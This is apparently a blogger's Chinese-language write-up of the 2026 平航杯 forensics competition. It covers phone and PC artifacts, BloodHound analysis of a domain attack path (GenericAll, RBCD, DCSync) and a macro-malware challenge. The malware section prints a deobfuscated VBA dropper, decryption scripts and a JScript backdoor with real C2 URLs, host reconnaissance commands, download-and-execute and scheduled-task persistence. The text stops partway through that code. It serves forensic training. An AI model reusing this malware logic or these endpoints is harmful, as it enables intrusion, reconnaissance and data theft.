有段时间没取证了,复盘了一下这次的平航杯,真的感觉有点退化了。平航杯是2026年的第一个取证大赛,也是我第一次参与组织这样子的千人规模比赛,付出了不少心血,所以索性想着发一篇wp,为这次大赛收个尾。比较可惜的是由于生疏的原因,比赛时有几个简单题搞错了,错失几十分,最后405分,也还算过得去。
总体下来,个人觉得比较新颖的是那个OSDATA、域取证和api中转站投毒,师兄出的题目质量还是很高,复盘的过程中学到了很多。
手机取证 1. 请分析早起王的手机,手机型号为? 【答案格式:Xiaomi13】
Pixel 6
火眼并没有自己解析出来,那我们搜索一下包含build的文件名/data/data/com.google.android.hardwareinfo/files/last_build.txt有build指纹:google/oriole/oriole:14/AP1A.240505.004/11583682:user/release-keys,对应的型号是Google Pixel 6
2. 请分析早起王的手机,早起王最近想旅行,结合高德地图搜索记录,他最可能去的景点是哪个? 【答案格式:黄山】
西湖
3. 请分析早起王的手机,早起王在什么时间加上倩倩微信的? 【答案格式:2025-08-1807:09:19】
2026-03-3015:13:08
4. 请分析早起王的手机,倩倩在2026年3月30号吃了什么? 【答案格式:西湖醋鱼】
麻薯小蛋糕
5. 请分析倩倩的手机,倩倩手机的系统版本是多少? 【答案格式:5.2.3.123】
6.0.0.380
最外面的info.json写了
但是个人认为这里使用备份记录版本来作为手机型号是欠妥的。我们可以找到手机里/com.ohos.settingsdata/com.ohos.settingsdata/data/storage/el1/database/entry/rdb/settingsdata_backup.db这个记录了系统信息的数据库,settingsdata表中的parentcontrol_last_notified_version字段为:
ADA-AL00 6.0 .0 .130 (SP25C00E130R4P7)
个人觉得手机型号为6.0.0.130更严谨
6. 请分析倩倩的手机,“舔狗”的微信内部ID是多少? 【答案格式:wxid_ab12】
wxid_uh5tfx2zi8yh22
7. 请分析倩倩的手机,倩倩曾给一位好友推荐游戏,这个好友叫什么名字? 【答案格式:杨梅】
冰糖
在手机备忘录里面
8. 请分析倩倩的手机结合逆向包,推荐的游戏叫什么? 【答案格式:far echo】
9. 请分析倩倩的手机,倩倩一共阅读过多少条搜狐新闻? 【答案格式:11】
33
找数据库,很好定位,在这里:/com.sohu.harmonynews/com.sohu.harmonynews/data/storage/el2/database/entry/kvdb/2c77515efb1c9f5f9b5fdc9d2f78edae26e57c53dd63b19a9b0728f71f2aa42f/single_ver/main/gen_natural_store.db 一个35条,前两条不是,所以33条
10. 请分析倩倩手机逆向包,数据加密app的包名是什么? 【答案格式:com.komeiji.satori】
com.koishi.fpt
解压即可看见,或者看fpt-default-signed.app
11. 请接上题,初始化app时需要至少几位数的密码? 【答案格式:10】
6
fpt-default-signed.app后缀改成zip可以直接解压,hap文件同理,解压后拿到\倩倩手机逆向包\fpt-default-signed.app\entry-default.hap\ets\modules.abc。这样用abc-decompiler打开,和jadx一样: 爆搜密码,要求至少6位
12. 请接上题,加密后的文件名的后缀是什么? 【答案格式:.enc】
.tb
可以看到一个.json后面跟上了一个.tb(谭师兄的标志哈哈),010打开可以看见文件流是被加密了
13. 请接上题,app会自动识别几种后缀的文件为图片类型? 【答案格式:8】
5
可以看见,getFileType方法会把加密文件后面的.tb抹除,识别的文件图片文件类型有5种
14. 请接上题,app共从用于自定义加密的so模块导入了几个方法? 【答案格式:8】
2
继续往后翻翻,可以看见主要的加密逻辑 自定义的这个d方法中,可以看到两个地方加载了这个libcrypto.so
计算机取证 1. 请分析早起王的PC镜像,计算机系统Build版本是什么? 【答案格式:12345.1234】
19045.6466
2. 请分析早起王的PC镜像,用户深情专一沼气王,她是我的生死劫的登陆密码LM哈希值后六位? 【答案格式: abc123】
1404ee
火眼在设置列里面可以调整,这里太久没取证了,忘记这里了,我直接找了个网站算LMHash,算错了qwq,详细的知识补充看:https://blog.csdn.net/qq_44108455/article/details/123316800
windows中的hash结构是username:RID:LM-HASH:NT-HASH,其中NTHash就是常说的NTLMHash,而LMHash是用于老式的windows认证,明文密码在14位以内才可以使用LMHash,本质采用DES。
3. 请分析A的PC镜像,沼气王的桌面有本日记,请问沼气王暗恋对象的生日为? (答案格式:05月26日)
多次输入错误后有提示,密码为大小写字母数字?????04,用passwarekit爆破即可
3. 请分析早起王的PC镜像,早起王受到过一封邮件,请找出邮件中隐写的秘密 【答案格式: XXX,xxx】
12点,老地方
misc基本功,垃圾邮件隐写: 邮件隐写:https://www.spammimic.com/
4. 请分析早起王的PC镜像, VeraCrypt容器的外层密码是什么? 【答案格式: abc123】【提示:分析utools】 utools插件里面,仿真起来可以直接看到。
5. 请分析早起王的PC镜像,早起王设置了一个AI女友,并自行导入过一个角色模型,该模型的原始文件名为? 【答案格式: ABC.vrm】 vc挂起来,有一个.vrm文件,ai女友软件很明显就是桌面上的AIRI 这里要求我们上传.vrm或者.ziplive2D文件,那说明就是vc里面的那个.vrm文件
6. 请分析早起王的PC镜像, AI女友使用的模型是什么? 【答案格式: openai/GPT5.3-Codex-01-01】 qwen/qwen3.5-flash-02-23 可以仿真起来看: 如果翻文件夹也行,但是我翻文件夹做的就做错了,能仿真尽量仿真吧。
7. 请分析早起王的PC镜像,该PC中有一个离线大模型软件,其上次对话使用的模型是? 【答案格式: ministra1-3-14b-reasoning】
qwen2.5-coder-14b-instruct
8. 请分析早起王的PC镜像,早起王曾删除一个MD5值为49B367AC261A722A7C2BBC328C32545的恶意文件,请尝试数据恢复并找到其文件名? 【答案格式:abc123】
49b367ac261a722a7c2bbbc328c32545
在vc隐藏层里面,打开之后xway就可以看见,右键恢复。
9. 请分析A的PC镜像,该PC中neo4j数据库的密码是多少?
1qazxsw2
user图片文件夹里的图片,有盲水印,所以neo4j的密码是1qazxsw2
10. 根据早起王笔录内容,早起王曾经对某企业进行过渗透攻击,请分析域内实体关系, FILESERVER.XIAORANG.LAB对XIAORANG.LAB域拥有什么控制权限? 【答案格式: ABCabc】
有关域,详细可以看我这篇:https://blog.enxiaohao.cn/posts/Pentration/DomainPentration/
U盘里面有sharphound生成的域信息搜集文件,这个题目如果打过域渗透会很熟悉的,其实师兄就是拿了云境的Time靶机的域信息出的。
我直接导入我自己的bloodhound了 很明显,DCSync权限
11. 根据早起王笔录内容,早起王在渗透过程中已成功控制ZHANGXINQXIAORANG.LAB,请结合域内实体关系图分析,早起王获取域控权限的完整攻击轨迹是什么? 【答案格式: XXXXXXXX@XXXXXXX.XXX->XXXXXXXXXX.XXXXXXX.XXX->XXXXXXXX.XXX】
ZHANGXIN@XIAORANG.LAB >FILESERVER.XIAORANG.LAB >XIAORANG.LAB
bloodhound里面筛选一下路径,ZHANGXIN@XIAORANG.LAB对FILESERVER.XIAORANG.LAB是GenericAll权限,ACL权限滥用,可以打RBCD,横向到FILESERVER.XIAORANG.LAB,FILESERVER.XIAORANG.LAB有DCSync,可以拿域控NTHash,就结束了。
12. 早起王在PC中记录过自己的犯罪动机并对其进行加密,请使用社工的方式破解加密文件,并提交密码。 【答案格式: aabc3**】
Zqw20040101!
根据早起王的姓名、生日进行社工爆破,先用Tscan生成字典: 爆破:
13. 早起王曾给倩倩发送过一封钓鱼邮件,请找到并计算附件MD5值 【答案格式:字母不区分大小写】
5436B61EA58ADB794804E3F18CE53F2A
不能在火眼导出邮件附件算,md5会有出入。直接拿电脑里面的文件算。
宏病毒 原题: https://www.netscylla.com/blog/2021/09/23/Obfuscated-CTF.html
1. 请接上题,该文件中有多个流(streams)包含宏。请提供其中编号最小的一个。 【答案格式:3】
8
计算机中提取出来的恶意文件火绒直接报毒,是宏病毒。 用oledump.py看所有流: 编号8,9带有VBA宏,所以答案是8
2. 请接上题,混淆代码的解密密钥是什么? 【答案格式:填写传入脚本的实际密钥,不包含命令行分隔空格】
EzZETcSXyKAdF_e5I2i1
导出一下带vba的流:
python oledump.py -s 8 -v 49b367ac261a722a7c2bbbc328c32545 > 8.vba python oledump.py -s 9 -v 49b367ac261a722a7c2bbbc328c32545 > 9.vba
导出之后代码有混淆,我们整理一下: 主要行为是从当前文档中定位并提取一段隐藏数据,用XOR解码,落地为 maintools.js,然后通过 WScript.Shell.Run 执行
Attribute VB_Name = "Module1" Public DroppedFilePath As String Public TargetFolderPath As String Function DecodePayload(ByRef payload() As Byte, ByVal dataLength As Long) As Boolean Dim xorKey As Byte Dim index As Long xorKey = 45 For index = 0 To dataLength - 1 payload(index) = payload(index) Xor xorKey xorKey = ((xorKey Xor 99) Xor (index Mod 254)) Next index DecodePayload = True End Function Sub AutoClose() On Error Resume Next Kill DroppedFilePath On Error Resume Next Dim fileSystem As Object Set fileSystem = CreateObject("Scripting.FileSystemObject") fileSystem.DeleteFile TargetFolderPath & "\*.*", True Set fileSystem = Nothing End Sub Sub AutoOpen() On Error GoTo ErrorHandler Dim documentHandle Dim documentSize As Long Dim payloadSize As Long documentSize = FileLen(ActiveDocument.FullName) documentHandle = FreeFile Open (ActiveDocument.FullName) For Binary As #documentHandle Dim documentBytes() As Byte ReDim documentBytes(documentSize) Get #documentHandle, 1, documentBytes Dim documentText As String documentText = StrConv(documentBytes, vbUnicode) Dim matchItem Dim matchCollection Dim regex As Object Set regex = CreateObject("vbscript.regexp") regex.Pattern = "MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74dlb1SiFOkR1Hh" Set matchCollection = regex.Execute(documentText) Dim markerOffset If matchCollection.Count = 0 Then GoTo ErrorHandler End If For Each matchItem In matchCollection markerOffset = matchItem.FirstIndex Exit For Next Dim payloadBytes() As Byte payloadSize = 16827 ReDim payloadBytes(payloadSize) Get #documentHandle, markerOffset + 81, payloadBytes If Not DecodePayload(payloadBytes(), payloadSize + 1) Then GoTo ErrorHandler End If TargetFolderPath = Environ("appdata") & "\Microsoft\Windows" Dim fileSystem As Object Set fileSystem = CreateObject("Scripting.FileSystemObject") If Not fileSystem.FolderExists(TargetFolderPath) Then TargetFolderPath = Environ("appdata") End If Set fileSystem = Nothing Dim outputHandle outputHandle = FreeFile DroppedFilePath = TargetFolderPath & "\" & "maintools.js" Open (DroppedFilePath) For Binary As #outputHandle Put #outputHandle, 1, payloadBytes Close #outputHandle Erase payloadBytes Dim shellObject As Object Set shellObject = CreateObject("WScript.Shell") shellObject.Run """" & DroppedFilePath & """" & " EzZETcSXyKAdF_e5I2i1" ActiveDocument.Save Exit Sub ErrorHandler: Close #outputHandle ActiveDocument.Save End Sub
auto.open()先是读取了当前文档的二进制值ActiveDocument.FullName,用正则搜索标记字符串 找到后往后取16827字节,用decodepayload解密(去混淆之前叫Q7JOhn5pIl648L6V43V()) 解密方法是xor: 然后将结果写入 %APPDATA%\Microsoft\Windows\maintools.js,若目录不存在则写到 %APPDATA%\maintools.js 最后执行maintools.js EzZETcSXyKAdF_e5I2i1
那么接下来我们根据提取和解密逻辑,把js文件提取解密一下:
from pathlib import Path INPUT_FILE = "49b367ac261a722a7c2bbbc328c32545" EXTRACTED_PAYLOAD_FILE = "extracted_payload.bin" DECRYPTED_OUTPUT_FILE = "dumped-decryptor.js" MARKER = b"MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74dlb1SiFOkR1Hh" PAYLOAD_OFFSET_FROM_MARKER = 80 PAYLOAD_SIZE = 16828 INITIAL_XOR_BYTE = 45 XOR_CONSTANT = 99 MODULUS = 254 def extract_payload (document_bytes: bytes ) -> bytes : marker_offset = document_bytes.find(MARKER) if marker_offset == -1 : raise ValueError("Marker not found in input file." ) payload_start = marker_offset + PAYLOAD_OFFSET_FROM_MARKER payload_end = payload_start + PAYLOAD_SIZE if payload_end > len (document_bytes): raise ValueError("Payload extends beyond end of file." ) return document_bytes[payload_start:payload_end]def decrypt_payload (data: bytes ) -> bytes : output = [0 ] * len (data) xor_byte = INITIAL_XOR_BYTE for index in range (len (data)): output[index] = data[index] ^ xor_byte xor_byte = (xor_byte ^ XOR_CONSTANT) ^ (index % MODULUS) xor_byte &= 0xFF return bytes (output)def main () -> None : input_path = Path(INPUT_FILE) extracted_path = Path(EXTRACTED_PAYLOAD_FILE) decrypted_path = Path(DECRYPTED_OUTPUT_FILE) if not input_path.exists(): raise FileNotFoundError(f"Input file not found: {input_path} " ) document_bytes = input_path.read_bytes() encrypted_payload = extract_payload(document_bytes) extracted_path.write_bytes(encrypted_payload) decrypted_payload = decrypt_payload(encrypted_payload) decrypted_path.write_text( "" .join(chr (byte) for byte in decrypted_payload), encoding="utf-8" , errors="ignore" , ) print (f"Input file: {input_path} " ) print (f"Extracted payload saved to: {extracted_path} " ) print (f"Decrypted script saved to: {decrypted_path} " ) print (f"Payload size: {len (encrypted_payload)} bytes" )if __name__ == "__main__" : main()
得到js代码,有混淆
核心是使用了Base64-like 解码 + RC4 + eval,不复杂,可以直接解出stage2
try{var wvy1 = WScript.Arguments;var ssWZ = wvy1(0);var ES3c = y3zb();ES3c = LXv5(ES3c);ES3c = CpPT(ssWZ,ES3c);eval(ES3c); }catch (e)
from pathlib import Pathimport re, base64 text=Path('dumped-decryptor.js' ).read_text(encoding='utf-8' , errors='ignore' ) key='EzZETcSXyKAdF_e5I2i1' m=re.search(r'var qGxZ = "([A-Za-z0-9+/=]+)";' , text)if not m: raise SystemExit('payload string not found' ) blob=base64.b64decode(m.group(1 )) S=list (range (256 )) j=0 key_bytes=key.encode('latin1' )for i in range (256 ): j=(j+S[i]+key_bytes[i % len (key_bytes)]) % 256 S[i],S[j]=S[j],S[i] i=j=0 out=bytearray ()for b in blob: i=(i+1 )%256 j=(j+S[i])%256 S[i],S[j]=S[j],S[i] out.append(b ^ S[(S[i]+S[j]) % 256 ]) Path('stage2.js' ).write_bytes(out)print ('stage2 bytes' , len (out))print (out[:500 ].decode('latin1' , errors='replace' ))
去混淆之后:
function readFileBytesCp437 (path ) { var stream = WScript .CreateObject ("ADODB.Stream" ); stream.Type = 2 ; stream.CharSet = "437" ; stream.Open (); stream.LoadFromFile (path); var text = stream.ReadText ; stream.Close (); return cp437StringToBytes (text); }var C2_URLS = new Array ( "http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php" , "http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php" );var USER_AGENT_SEED = "w3LxnRSbJcqf8HrU" ;var RECON_COMMANDS = new Array ( "systeminfo > " , "net view >> " , "net view /domain >> " , "tasklist /v >> " , "gpresult /z >> " , "netstat -nao >> " , "ipconfig /all >> " , "arp -a >> " , "net share >> " , "net use >> " , "net user >> " , "net user administrator >> " , "net user /domain >> " , "net user administrator /domain >> " , "set >> " , "dir %systemdrive%\\Users\\*.* >> " , "dir %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.* >> " , "dir %userprofile%\\Desktop\\*.* >> " , "tasklist /fi \"modules eq wow64.dll\" >> " , "tasklist /fi \"modules ne wow64.dll\" >> " , "dir \"%programfiles(x86)%\" >> " , "dir \"%programfiles%\" >> " , "dir %appdata% >> " );var PAYLOAD_RC4_KEY = "2f532d6baec3d0ec7b1f98aed4774843" ;var PERSISTENCE_TASK_NAME = "TaskManager" ;var PERSISTENCE_TASK_DESC = "Windows Task Manager" ;var STAGE1 _ARGUMENT = "EzZETcSXyKAdF_e5I2i1" ;var TASK_FOLDER = "WPD" ;var BASE64 _ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ;var fileSystem = new ActiveXObject ("Scripting.FileSystemObject" );var scriptName = WScript .ScriptName ;var currentUsername = "" ;var shell = createShell ();var installDir = "" ;var persistedScriptPath = "" ;function encodeBase64FromBinaryString (input, use8BitChars ) { var encoded = "" ; var bitBuffer = "" ; for (var i = 0 ; i < input.length ; ++i) { var charCode = input.charCodeAt (i); var bits = charCode.toString (2 ); while (bits.length < (use8BitChars ? 8 : 16 )) { bits = "0" + bits; } bitBuffer += bits; while (bitBuffer.length >= 6 ) { var chunk = bitBuffer.slice (0 , 6 ); bitBuffer = bitBuffer.slice (6 ); encoded += BASE64 _ALPHABET.charAt (parseInt (chunk, 2 )); } } if (bitBuffer) { while (bitBuffer.length < 6 ) { bitBuffer += "0" ; } encoded += BASE64 _ALPHABET.charAt (parseInt (bitBuffer, 2 )); } while (encoded.length % (use8BitChars ? 4 : 8 ) !== 0 ) { encoded += "=" ; } return encoded; }var CP437 _UNICODE_TO_BYTE = [];CP437 _UNICODE_TO_BYTE["C7" ] = "80" ;CP437 _UNICODE_TO_BYTE["FC" ] = "81" ;CP437 _UNICODE_TO_BYTE["E9" ] = "82" ;CP437 _UNICODE_TO_BYTE["E2" ] = "83" ;CP437 _UNICODE_TO_BYTE["E4" ] = "84" ;CP437 _UNICODE_TO_BYTE["E0" ] = "85" ;CP437 _UNICODE_TO_BYTE["E5" ] = "86" ;CP437 _UNICODE_TO_BYTE["E7" ] = "87" ;CP437 _UNICODE_TO_BYTE["EA" ] = "88" ;CP437 _UNICODE_TO_BYTE["EB" ] = "89" ;CP437 _UNICODE_TO_BYTE["E8" ] = "8A" ;CP437 _UNICODE_TO_BYTE["EF" ] = "8B" ;CP437 _UNICODE_TO_BYTE["EE" ] = "8C" ;CP437 _UNICODE_TO_BYTE["EC" ] = "8D" ;CP437 _UNICODE_TO_BYTE["C4" ] = "8E" ;CP437 _UNICODE_TO_BYTE["C5" ] = "8F" ;CP437 _UNICODE_TO_BYTE["C9" ] = "90" ;CP437 _UNICODE_TO_BYTE["E6" ] = "91" ;CP437 _UNICODE_TO_BYTE["C6" ] = "92" ;CP437 _UNICODE_TO_BYTE["F4" ] = "93" ;CP437 _UNICODE_TO_BYTE["F6" ] = "94" ;CP437 _UNICODE_TO_BYTE["F2" ] = "95" ;CP437 _UNICODE_TO_BYTE["FB" ] = "96" ;CP437 _UNICODE_TO_BYTE["F9" ] = "97" ;CP437 _UNICODE_TO_BYTE["FF" ] = "98" ;CP437 _UNICODE_TO_BYTE["D6" ] = "99" ;CP437 _UNICODE_TO_BYTE["DC" ] = "9A" ;CP437 _UNICODE_TO_BYTE["A2" ] = "9B" ;CP437 _UNICODE_TO_BYTE["A3" ] = "9C" ;CP437 _UNICODE_TO_BYTE["A5" ] = "9D" ;CP437 _UNICODE_TO_BYTE["20A7" ] = "9E" ;CP437 _UNICODE_TO_BYTE["192" ] = "9F" ;CP437 _UNICODE_TO_BYTE["E1" ] = "A0" ;CP437 _UNICODE_TO_BYTE["ED" ] = "A1" ;CP437 _UNICODE_TO_BYTE["F3" ] = "A2" ;CP437 _UNICODE_TO_BYTE["FA" ] = "A3" ;CP437 _UNICODE_TO_BYTE["F1" ] = "A4" ;CP437 _UNICODE_TO_BYTE["D1" ] = "A5" ;CP437 _UNICODE_TO_BYTE["AA" ] = "A6" ;CP437 _UNICODE_TO_BYTE["BA" ] = "A7" ;CP437 _UNICODE_TO_BYTE["BF" ] = "A8" ;CP437 _UNICODE_TO_BYTE["2310" ] = "A9" ;CP437 _UNICODE_TO_BYTE["AC" ] = "AA" ;CP437 _UNICODE_TO_BYTE["BD" ] = "AB" ;CP437 _UNICODE_TO_BYTE["BC" ] = "AC" ;CP437 _UNICODE_TO_BYTE["A1" ] = "AD" ;CP437 _UNICODE_TO_BYTE["AB" ] = "AE" ;CP437 _UNICODE_TO_BYTE["BB" ] = "AF" ;CP437 _UNICODE_TO_BYTE["2591" ] = "B0" ;CP437 _UNICODE_TO_BYTE["2592" ] = "B1" ;CP437 _UNICODE_TO_BYTE["2593" ] = "B2" ;CP437 _UNICODE_TO_BYTE["2502" ] = "B3" ;CP437 _UNICODE_TO_BYTE["2524" ] = "B4" ;CP437 _UNICODE_TO_BYTE["2561" ] = "B5" ;CP437 _UNICODE_TO_BYTE["2562" ] = "B6" ;CP437 _UNICODE_TO_BYTE["2556" ] = "B7" ;CP437 _UNICODE_TO_BYTE["2555" ] = "B8" ;CP437 _UNICODE_TO_BYTE["2563" ] = "B9" ;CP437 _UNICODE_TO_BYTE["2551" ] = "BA" ;CP437 _UNICODE_TO_BYTE["2557" ] = "BB" ;CP437 _UNICODE_TO_BYTE["255D" ] = "BC" ;CP437 _UNICODE_TO_BYTE["255C" ] = "BD" ;CP437 _UNICODE_TO_BYTE["255B" ] = "BE" ;CP437 _UNICODE_TO_BYTE["2510" ] = "BF" ;CP437 _UNICODE_TO_BYTE["2514" ] = "C0" ;CP437 _UNICODE_TO_BYTE["2534" ] = "C1" ;CP437 _UNICODE_TO_BYTE["252C" ] = "C2" ;CP437 _UNICODE_TO_BYTE["251C" ] = "C3" ;CP437 _UNICODE_TO_BYTE["2500" ] = "C4" ;CP437 _UNICODE_TO_BYTE["253C" ] = "C5" ;CP437 _UNICODE_TO_BYTE["255E" ] = "C6" ;CP437 _UNICODE_TO_BYTE["255F" ] = "C7" ;CP437 _UNICODE_TO_BYTE["255A" ] = "C8" ;CP437 _UNICODE_TO_BYTE["2554" ] = "C9" ;CP437 _UNICODE_TO_BYTE["2569" ] = "CA" ;CP437 _UNICODE_TO_BYTE["2566" ] = "CB" ;CP437 _UNICODE_TO_BYTE["2560" ] = "CC" ;CP437 _UNICODE_TO_BYTE["2550" ] = "CD" ;CP437 _UNICODE_TO_BYTE["256C" ] = "CE" ;CP437 _UNICODE_TO_BYTE["2567" ] = "CF" ;CP437 _UNICODE_TO_BYTE["2568" ] = "D0" ;CP437 _UNICODE_TO_BYTE["2564" ] = "D1" ;CP437 _UNICODE_TO_BYTE["2565" ] = "D2" ;CP437 _UNICODE_TO_BYTE["2559" ] = "D3" ;CP437 _UNICODE_TO_BYTE["2558" ] = "D4" ;CP437 _UNICODE_TO_BYTE["2552" ] = "D5" ;CP437 _UNICODE_TO_BYTE["2553" ] = "D6" ;CP437 _UNICODE_TO_BYTE["256B" ] = "D7" ;CP437 _UNICODE_TO_BYTE["256A" ] = "D8" ;CP437 _UNICODE_TO_BYTE["2518" ] = "D9" ;CP437 _UNICODE_TO_BYTE["250C" ] = "DA" ;CP437 _UNICODE_TO_BYTE["2588" ] = "DB" ;CP437 _UNICODE_TO_BYTE["2584" ] = "DC" ;CP437 _UNICODE_TO_BYTE["258C" ] = "DD" ;CP437 _UNICODE_TO_BYTE["2590" ] = "DE" ;CP437 _UNICODE_TO_BYTE["2580" ] = "DF" ;CP437 _UNICODE_TO_BYTE["3B1" ] = "E0" ;CP437 _UNICODE_TO_BYTE["DF" ] = "E1" ;CP437 _UNICODE_TO_BYTE["393" ] = "E2" ;CP437 _UNICODE_TO_BYTE["3C0" ] = "E3" ;CP437 _UNICODE_TO_BYTE["3A3" ] = "E4" ;CP437 _UNICODE_TO_BYTE["3C3" ] = "E5" ;CP437 _UNICODE_TO_BYTE["B5" ] = "E6" ;CP437 _UNICODE_TO_BYTE["3C4" ] = "E7" ;CP437 _UNICODE_TO_BYTE["3A6" ] = "E8" ;CP437 _UNICODE_TO_BYTE["398" ] = "E9" ;CP437 _UNICODE_TO_BYTE["3A9" ] = "EA" ;CP437 _UNICODE_TO_BYTE["3B4" ] = "EB" ;CP437 _UNICODE_TO_BYTE["221E" ] = "EC" ;CP437 _UNICODE_TO_BYTE["3C6" ] = "ED" ;CP437 _UNICODE_TO_BYTE["3B5" ] = "EE" ;CP437 _UNICODE_TO_BYTE["2229" ] = "EF" ;CP437 _UNICODE_TO_BYTE["2261" ] = "F0" ;CP437 _UNICODE_TO_BYTE["B1" ] = "F1" ;CP437 _UNICODE_TO_BYTE["2265" ] = "F2" ;CP437 _UNICODE_TO_BYTE["2264" ] = "F3" ;CP437 _UNICODE_TO_BYTE["2320" ] = "F4" ;CP437 _UNICODE_TO_BYTE["2321" ] = "F5" ;CP437 _UNICODE_TO_BYTE["F7" ] = "F6" ;CP437 _UNICODE_TO_BYTE["2248" ] = "F7" ;CP437 _UNICODE_TO_BYTE["B0" ] = "F8" ;CP437 _UNICODE_TO_BYTE["2219" ] = "F9" ;CP437 _UNICODE_TO_BYTE["B7" ] = "FA" ;CP437 _UNICODE_TO_BYTE["221A" ] = "FB" ;CP437 _UNICODE_TO_BYTE["207F" ] = "FC" ;CP437 _UNICODE_TO_BYTE["B2" ] = "FD" ;CP437 _UNICODE_TO_BYTE["25A0" ] = "FE" ;CP437 _UNICODE_TO_BYTE["A0" ] = "FF" ;function generateRandomName ( ) { var length = Math .ceil (Math .random () * 10 + 25 ); var name = String .fromCharCode (Math .ceil (Math .random () * 24 + 65 )); var network = WScript .CreateObject ("WScript.Network" ); currentUsername = network.UserName ; for (var count = 0 ; count < length; count++) { switch (Math .ceil (Math .random () * 3 )) { case 1 : name = name + Math .ceil (Math .random () * 8 ); break ; case 2 : name = name + String .fromCharCode (Math .ceil (Math .random () * 24 + 97 )); break ; default : name = name + String .fromCharCode (Math .ceil (Math .random () * 24 + 65 )); break ; } } return name; }generateRandomName (); installDir = resolveInstallDirectory ();try { shell = createShell (); establishPersistence (); mainLoop (); } catch (e) { WScript .Quit (); }function mainLoop ( ) { var reconBlob = collectReconData (); while (true ) { for (var i = 0 ; i < C2_URLS .length ; i++) { var url = C2_URLS [i]; var response = pollServer (url, reconBlob); switch (response) { case "good" : break ; case "exit" : WScript .Quit (); break ; case "work" : downloadAndExecute (url); break ; case "fail" : failAndReinstall (); break ; default : break ; } generateRandomName (); } WScript .Sleep ((Math .random () * 300 + 3600 ) * 1000 ); } }function createShell ( ) { return new ActiveXObject ("WScript.Shell" ); }function downloadAndExecute (url ) { var downloadedPath = installDir + scriptName.substring (0 , scriptName.length - 2 ) + "pif" ; var http = new ActiveXObject ("MSXML2.XMLHTTP" ); http.open ("post" , url, false ); http.setRequestHeader ("user-agent:" , "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + buildBeaconId ()); http.setRequestHeader ("content-type:" , "application/octet-stream" ); http.setRequestHeader ("content-length:" , "4" ); http.send ("work" ); if (fileSystem.FileExists (downloadedPath)) { fileSystem.DeleteFile (downloadedPath); } if (http.status === 200 ) { var stream = new ActiveXObject ("ADODB.Stream" ); stream.Type = 1 ; stream.Open (); stream.Write (http.responseBody ); stream.Position = 0 ; stream.Type = 2 ; stream.CharSet = "437" ; var cp437Text = stream.ReadText (stream.Size ); var decryptedPayload = rc4String (PAYLOAD_RC4_KEY , cp437StringToBytes (cp437Text)); saveLatin1StringToFile (decryptedPayload, downloadedPath); stream.Close (); } generateRandomName (); runDownloadedFile (downloadedPath, url); WScript .Sleep (30000 ); fileSystem.DeleteFile (downloadedPath); }function failAndReinstall ( ) { fileSystem.DeleteFile (WScript .ScriptFullName ); createScheduledTask ( PERSISTENCE_TASK_NAME , PERSISTENCE_TASK_DESC , currentUsername, persistedScriptPath, STAGE1 _ARGUMENT, installDir, false ); deleteScheduledTask (PERSISTENCE_TASK_NAME ); WScript .Quit (); }function pollServer (url, reconBlob ) { try { var http = new ActiveXObject ("MSXML2.XMLHTTP" ); http.open ("post" , url, false ); http.setRequestHeader ("user-agent:" , "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + buildBeaconId ()); http.setRequestHeader ("content-type:" , "application/octet-stream" ); var encoded = encodeBase64FromBinaryString (reconBlob, true ); http.setRequestHeader ("content-length:" , encoded.length ); http.send (encoded); return http.responseText ; } catch (e) { return "" ; } }function buildBeaconId ( ) { var suffix = "" ; var network = WScript .CreateObject ("WScript.Network" ); var seed = USER_AGENT_SEED + network.ComputerName + currentUsername; for (var i = 0 ; i < 16 ; i++) { var value = 0 ; for (var j = i; j < seed.length - 1 ; j++) { value = value ^ seed.charCodeAt (j); } value = value % 10 ; suffix = suffix + value.toString (10 ); } return suffix + USER_AGENT_SEED ; }function establishPersistence ( ) { persistedScriptPath = installDir + scriptName.substring (0 , scriptName.length - 2 ) + "js" ; fileSystem.CopyFile (WScript .ScriptFullName , installDir + scriptName); var delay = (Math .random () * 150 + 350 ) * 1000 ; WScript .Sleep (delay); createScheduledTask ( PERSISTENCE_TASK_NAME , PERSISTENCE_TASK_DESC , currentUsername, persistedScriptPath, STAGE1 _ARGUMENT, installDir, true ); }function collectReconData ( ) { var outputPath = installDir + "~dat.tmp" ; for (var i = 0 ; i < RECON_COMMANDS .length ; i++) { shell.Run ("cmd.exe /c " + RECON_COMMANDS [i] + "\"" + outputPath + "\"" , 0 , true ); } var bytes = readFileBytesCp437 (outputPath); WScript .Sleep (1000 ); fileSystem.DeleteFile (outputPath); return rc4String (PAYLOAD_RC4_KEY , bytes); }function runDownloadedFile (filePath, callbackUrl ) { try { if (fileSystem.FileExists (filePath)) { shell.Run ("\"" + filePath + "\"" ); } } catch (e) { var http = new ActiveXObject ("MSXML2.XMLHTTP" ); var statusText = "error" ; http.open ("post" , callbackUrl, false ); http.setRequestHeader ("user-agent:" , "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + buildBeaconId ()); http.setRequestHeader ("content-type:" , "application/octet-stream" ); http.setRequestHeader ("content-length:" , statusText.length ); http.send (statusText); return "" ; } }function toHexString (value ) { var alphabet = "0123456789ABCDEF" ; var out = alphabet.substr (value & 15 , 1 ); while (value > 15 ) { value >>>= 4 ; out = alphabet.substr (value & 15 , 1 ) + out; } return out; }function fromHexString (value ) { return parseInt (value, 16 ); }function createScheduledTask (taskName, description, username, executablePath, argumentsText, workingDir, hidden ) { try { var service = WScript .CreateObject ("Schedule.Service" ); service.Connect (); var folder = service.GetFolder (TASK_FOLDER ); var task = service.NewTask (0 ); task.Principal .UserId = username; task.Principal .LogonType = 6 ; var registration = task.RegistrationInfo ; registration.Description = description; registration.Author = username; var settings = task.Settings ; settings.Enabled = true ; settings.StartWhenAvailable = true ; settings.Hidden = hidden; var triggers = task.Triggers ; var trigger = triggers.Create (9 ); trigger.StartBoundary = "2015-07-12T11:47:24" ; trigger.EndBoundary = "2020-03-21T08:00:00" ; trigger.Id = "LogonTriggerId" ; trigger.UserId = username; trigger.Enabled = true ; var action = task.Actions .Create (0 ); action.Path = executablePath; action.Arguments = argumentsText; 